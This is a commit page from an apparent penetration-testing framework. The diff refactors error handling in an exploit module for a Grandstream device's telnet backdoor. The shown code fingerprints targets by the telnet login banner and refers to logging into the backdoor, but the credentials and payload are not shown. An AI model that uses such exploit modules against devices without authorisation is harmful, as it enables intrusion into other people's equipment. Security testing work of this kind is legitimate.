Commit 311d72d9 by Joshua Abraham

Moved try-catch to check method and removed unnecessary except

parent e949a544
......@@ -30,7 +30,6 @@ class Exploit(exploits.Exploit):
port = exploits.Option(23, 'Target port') # default port
def run(self):
try:
if self.check():
print_success("Target appears to be vulnerable...")
......@@ -66,14 +65,14 @@ class Exploit(exploits.Exploit):
print_error("Failed to log into backdoor.")
else:
print_error("Exploit failed. Target does not appear vulnerable")
except Exception as err:
print_error("{}".format(err))
@mute
def check(self):
try:
conn = telnetlib.Telnet(self.target, self.port)
except:
return False
output = conn.read_until("login:")
if 'Grandstream' in output:
return True
else:
return False
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment